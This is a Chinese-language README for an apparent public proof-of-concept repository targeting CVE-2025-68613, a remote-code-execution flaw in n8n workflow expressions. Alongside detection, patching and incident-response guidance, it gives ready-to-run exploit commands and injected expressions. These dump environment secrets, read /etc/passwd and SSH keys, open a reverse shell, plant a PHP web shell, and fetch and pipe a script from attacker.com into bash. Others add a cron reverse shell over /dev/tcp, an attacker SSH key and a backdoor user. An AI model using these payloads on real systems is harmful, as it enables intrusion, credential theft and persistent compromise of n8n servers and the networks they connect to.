针对 CVE-2025-68613 的公开 PoC + 扫描器及研究:n8n 工作流自动化中的严重 RCE 漏洞(通过表达式注入,CVSS 10.0)。包含检测工具、完整利用代码和修复指南。

CVE-2025-68613 是流行开源工作流自动化平台 n8n 中发现的一个严重远程代码执行(RCE) 漏洞。该漏洞允许经过身份验证的用户在服务器上执行任意代码,可能导致系统完全被攻陷。
n8n 是一个开源工作流自动化平台,允许用户:
组织使用 n8n 来:
这种在 IT 基础设施中的核心角色使漏洞尤其危险,因为它们可为攻击者提供对整个网络和敏感数据的访问权限。
本仓库包含用于漏洞检测和利用测试的即用工具:
cve-2025-68613-scanner.py用途:安全、非利用性的易受攻击 n8n 实例检测
特性:
用法:```bash python3 cve-2025-68613-scanner.py -u http://target:5678
**输出**:
- 退出码 0:未发现漏洞
- 退出码 1:版本无法确定(可能已修补或隐藏)
- 退出码 2:检测到存在漏洞的版本
### 2. Nuclei 模板:`CVE-2025-68613.yaml`
**目的**:自动漏洞检测和基本表达式评估测试
**特性**:
- 需要有效认证令牌
- 测试表达式注入能力
- 尝试读取 Node.js 全局上下文(process.platform)
- 创建工作流以验证 RCE 向量
- CVSS 10.0 严重等级分类
**使用方法**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt
exploit_cve-2025-68613.py用途:包含多种攻击载荷的概念验证漏洞利用程序
功能:
要求:
安装:```bash pip install requests chmod +x exploit_cve-2025-68613.py
**使用示例**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload info
# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload cmd --command "whoami"
# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload env
# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload read --file "/etc/passwd"
# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload write \
--file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
工作原理:
this.constructor.constructor() 突破表达式沙箱process.platform 或其他 Node.js API 执行负载退出代码:
简单来说:n8n 允许用户在工作流中编写表达式来动态处理数据。然而,这些表达式在没有适当沙箱的情况下被评估,使得攻击者能够突破预期的执行上下文,在服务器上运行任意代码。
当你在 n8n 中创建工作流时,可以使用“表达式”来操作数据。这些表达式应该在受限环境中运行。然而,该漏洞表明这些表达式可以访问底层系统,使得攻击者能够:
当用户在 n8n 中创建工作流时,他们可以使用表达式来处理数据:``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime
#### 步骤 2:表达式注入
攻击者构建一个恶意表达式,以逃脱预期的沙箱:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}
表达式未经过适当隔离就被评估,使得攻击者能够:
该漏洞源于表达式评估引擎中的不充分的沙箱化。n8n 团队评估表达式的上下文允许:
require() 或类似的模块加载函数User Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft
---
## 受影响版本
### 受影响的版本范围
所有从 **0.211.0** 开始到以下版本的 n8n 版本均受影响:
- `0.211.0` → `1.120.3`
- `1.121.0`
### 已修复版本
该漏洞已在以下版本中修复:
- ✅ `1.120.4` 以及 1.120.x 分支的后续版本
- ✅ `1.121.1` 以及 1.121.x 分支的后续版本
- ✅ `1.122.0` 及所有更新版本
### 如何检查你的版本```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"
# Or check the admin panel
# Go to Settings → About → Version
/rest/workflows/{id}/run 端点 在 v1.121.0 中返回HTTP 500错误
该漏洞利用工具针对NVD记录的受攻击范围设计:
若针对此范围外的版本进行测试,无法保证成功。
一旦已认证用户(或持有有效凭证的攻击者)利用此漏洞,即可:
${require('child_process').execSync('whoami').toString()} // Returns: root (or whatever user runs n8n)
${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()} // Downloads and executes a shell script
#### 2. 从服务器读取文件```javascript
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files
${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys
${Object.keys(process.env).join(', ')} // Lists all environment variables
${process.env.DATABASE_PASSWORD} // Extracts specific secrets
#### 4. 写入恶意文件```javascript
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence
${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
// Adds SSH access
// Access workflow credentials (stored API keys, passwords) // Modify or view connected databases // Exfiltrate data from all integrated systems
#### 6. 建立持久化```javascript
${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
// Creates a cron job for reverse shell access
${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
// Creates a new user account
真实场景:使用 n8n 的公司
制造公司
金融服务
医疗组织
安全、非利用性的检测脚本(包含于原始仓库中):```bash python3 CVE-2025-68613.py -u http://your-n8n-instance:5678
**输出示例**```
[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2
--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613
使用 Nuclei 进行自动化扫描:```bash
nuclei -t CVE-2025-68613.yaml -u http://target:5678
nuclei -t CVE-2025-68613.yaml -l targets.txt
**工作原理**:
1. 向常见的n8n路径发送HTTP请求
2. 从HTML/标头中提取版本元数据
3. 解码存在的base64编码配置
4. 将版本与漏洞范围进行比较
5. 报告实例是否存在漏洞
### 方法3:手动横幅抓取```bash
# Check for n8n in HTTP response
curl -s http://target:5678/ | grep -i "n8n"
# Check headers
curl -I http://target:5678/ | grep -i "n8n"
# Check common paths
curl -s http://target:5678/api/v1/health
curl -s http://target:5678/rest/settings
curl -s http://target:5678/healthz
shodan search "n8n" --limit 10
nmap -p 5678 --script http-favicon target.com
### 攻击指标(IOCs)
**日志迹象**:
- 工作流日志中出现异常表达式求值
- 包含系统命令的表达式错误
- 访问敏感文件(例如引用 /etc/passwd)
- n8n 进程意外产生子进程
**系统迹象**:
- 服务器上创建了新用户账户
- authorized_keys 中出现意外的 SSH 密钥
- 新增的 cron 作业或计划任务
- 系统文件被修改
- 从 n8n 服务器发起的反向 shell 连接
---
## 修复与缓解措施
### 主要解决方案:立即升级
**这是针对此漏洞的完整修复方案。**
#### 步骤 1:备份您的数据```bash
# Backup n8n database
cp -r /path/to/n8n/database ./backup/
# Backup workflows
n8n export --backup-dir ./backup/
使用 Docker(推荐):```bash
docker pull n8nio/n8n:1.122.0 # Or later
docker stop n8n-container
docker run -d --name n8n-patched
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.122.0
**使用 npm**:```bash
# Backup first
npm run export --backup
# Update
npm update n8n
# Or specific version
npm install [email protected]
使用系统包管理器:```bash
sudo apt update && sudo apt upgrade n8n
wget https://github.com/n8n-io/n8n/releases/download/[email protected]/n8n.tar.gz
#### 步骤 3:验证更新```bash
# Check version after update
curl http://localhost:5678/api/v1/health | grep version
# Ensure n8n is running
curl http://localhost:5678/ | grep -i "n8n"
重要:这些措施并非修复漏洞。仅在计划升级时作为临时措施使用。
n8n Admin Panel → Users & Permissions ├── Disable "User Can Create Workflows" for non-admin users ├── Restrict "User Can Edit Workflows" to trusted administrators only ├── Review existing user roles and remove unnecessary permissions └── Audit workflow creators for suspicious accounts
#### 2. 监控工作流变化```
n8n Admin Panel → Settings → Audit Log
├── Enable comprehensive audit logging
├── Monitor for suspicious workflow modifications
├── Alert on expression evaluations in logs
└── Review workflow change history regularly
sudo ufw default deny incoming sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network sudo ufw enable
sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 5678 -j DROP
#### 4. 以最小权限运行 n8n```bash
# Create dedicated n8n user
sudo useradd -r -s /bin/false n8n-user
# Run n8n as this user
sudo -u n8n-user n8n
# Or in Docker with user specification
docker run -u 1000 n8nio/n8n:latest
n8n Admin Panel → Settings → Authentication ├── Enable 2FA for all accounts ├── Enforce strong password policies ├── Review and disable unnecessary service accounts ├── Implement SSO if available └── Disable any guest/demo accounts
#### 6. 容器化与隔离```bash
# Run n8n in a restricted Docker container
docker run -d \
--security-opt=no-new-privileges:true \
--read-only \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
--tmpfs /tmp \
-p 5678:5678 \
n8nio/n8n:current-version
find /path/to/n8n -type f -mtime -1
ps aux | grep n8n netstat -tlnp | grep n8n
cat ~/.ssh/authorized_keys
journalctl -u n8n -n 100
---
## 风险评估矩阵
| 场景 | 风险等级 | 可能性 | 影响 | 优先级 |
|----------|-----------|-----------|--------|----------|
| 未修补且面向公网的 n8n | 严重 | 高 | 完全沦陷 | 🔴 紧急 |
| 未修补且仅内部使用的 n8n | 高 | 中 | 内部威胁风险 | 🟠 高 |
| 已修补的 n8n | 低 | 低 | 不适用 | ✅ 已解决 |
| 未修补但具有权限限制 | 中 | 中 | 限于可信用户 | 🟡 中 |
---
## 遭入侵后的逐步恢复流程
### 立即行动(第一小时)
1. **隔离系统**:断开网络连接
2. **停止服务**:`sudo systemctl stop n8n`
3. **保留日志**:在清除前备份所有日志
4. **通知团队**:告知安全团队和管理层
5. **评估范围**:确定 n8n 访问了哪些数据
### 调查(第一天)
1. **检查审计日志**:查找可疑活动
2. **分析网络流量**:寻找数据外泄迹象
3. **检查文件修改**:发现植入的后门
4. **审查用户账号**:查找新增或修改的账号
5. **凭据审计**:重置 n8n 使用的所有 API 密钥和密码
### 补救(第2-7天)
1. **完全重建系统**:不要仅更新,应从干净镜像重建
2. **凭据轮换**:重置所有密码、API 密钥、令牌
3. **修补一切**:更新所有关联系统
4. **从备份恢复**:使用入侵前的干净备份
5. **安全审计**:进行全面的安全评估
### 事后(第2周起)
1. **实施监控**:建立持续日志记录和告警
2. **流程改进**:更新事件响应流程
3. **用户培训**:教育团队遵循安全最佳实践
4. **漏洞扫描**:定期扫描类似问题
5. **合规审查**:确保满足所有法规(GDPR、HIPAA 等)
---
## 后续预防措施
### n8n 安全最佳实践
1. **保持 n8n 更新**
- 启用自动更新(如可用)
- 订阅 n8n 安全公告
- 在生产环境之前于暂存环境测试补丁
2. **访问控制**
- 遵循最小权限原则
- 要求强密码及双因素认证
- 对企业部署实施 SSO
- 定期进行访问审查与审计
3. **工作流管理**
- 审查所有工作流以排除可疑逻辑
- 对工作流实施代码审查流程
- 使用命名约定标识关键工作流
- 定期备份工作流
4. **凭据管理**
- 切勿将凭据存储在工作流中
- 使用环境变量处理敏感数据
- 定期轮换凭据
- 审计凭据访问
5. **监控与日志**
- 启用全面的审计日志
- 监控异常活动
- 针对可疑操作设置告警
- 定期审查并分析日志
6. **网络安全**
- 在隔离网段中运行 n8n
- 仅允许访问所需服务
- 使用 VPN/防火墙进行远程访问
- 监控网络流量异常
7. **事件响应**
- 制定事件响应计划
- 定义升级流程
- 定期进行安全演练
- 维护更新的联系人清单
---
## 故障排除
### 问题:"退出码 1:身份验证或利用失败"
**常见原因**:
1. **凭据错误**(最常见)
- 解决方案:先使用 Web UI 登录验证凭据
- 尝试:`curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`
2. **用户不具备工作流创建权限**
- 解决方案:使用具有工作流创建权限的管理员或用户账号
- 验证:检查管理面板 → 用户与权限
3. **版本已修补**(版本 > 1.121.0)
- 解决方案:先用扫描器检查版本:`python3 cve-2025-68613-scanner.py -u http://target:5678`
- 预期结果:扫描器应报告 "易受攻击"(退出码 2)
4. **API 结构已更改**(较旧/较新版本可能不同)
- 解决方案:检查 NVD 公告:https://nvd.nist.gov/vuln/detail/CVE-2025-68613
- 如果测试的版本超出文档范围,此情况最可能发生
5. **网络/防火墙阻止**
- 解决方案:验证连接:`curl http://target:5678/`
- 检查:防火墙规则、代理设置、SSL 证书
### 问题:扫描器报告误报(检测到错误版本)
**已在 v1.02 中修复**:扫描器现在使用从 meta 标签中 base64 解码的 Sentry 配置,而非简单正则。这消除了将 Node.js 版本误检测为 n8n 版本的误报。
**变更内容**:
- 主要来源:提取并解码 `<meta name="n8n:config:sentry" content="[BASE64]">`
- 回退方案:仅当 Sentry 配置不可用时才使用正则
- 结果:准确版本检测,无误报
**使用 v1.02 扫描器**:```bash
# Update to v1.02
git pull origin main
# Run scanner
python3 cve-2025-68613-scanner.py -u http://target:5678
这不是 exploit 的 bug —— 这是 API 的限制。
说明:
/rest/workflows/{id}/run 端点 在 n8n v1.121.0 中返回 HTTP 500临时解决方案:
证据:在 TryHackMe 上捕获的标志:THM{n8n_exposed_workflow}
CVE-2025-68613 是一个需要立即处理的严重漏洞。结合以下因素:
……使其成为工作流自动化平台中最危险的漏洞之一。
简单的解决方案:立即升级到已修补版本。当补丁可用时,任何继续暴露于严重 RCE 漏洞的行为都是不可原谅的。
|- 版本:1.02 |- 创建日期:2025年12月18日 |- 最后更新:2025年12月26日
本文档仅供教育和授权安全评估之用。未经授权访问计算机系统是违法的。在进行测试、评估或访问不属于您的系统之前,请务必确保您已获得适当授权。
⚠️ 提醒:如果您正在运行存在漏洞的版本,请立即更新您的 n8n 实例。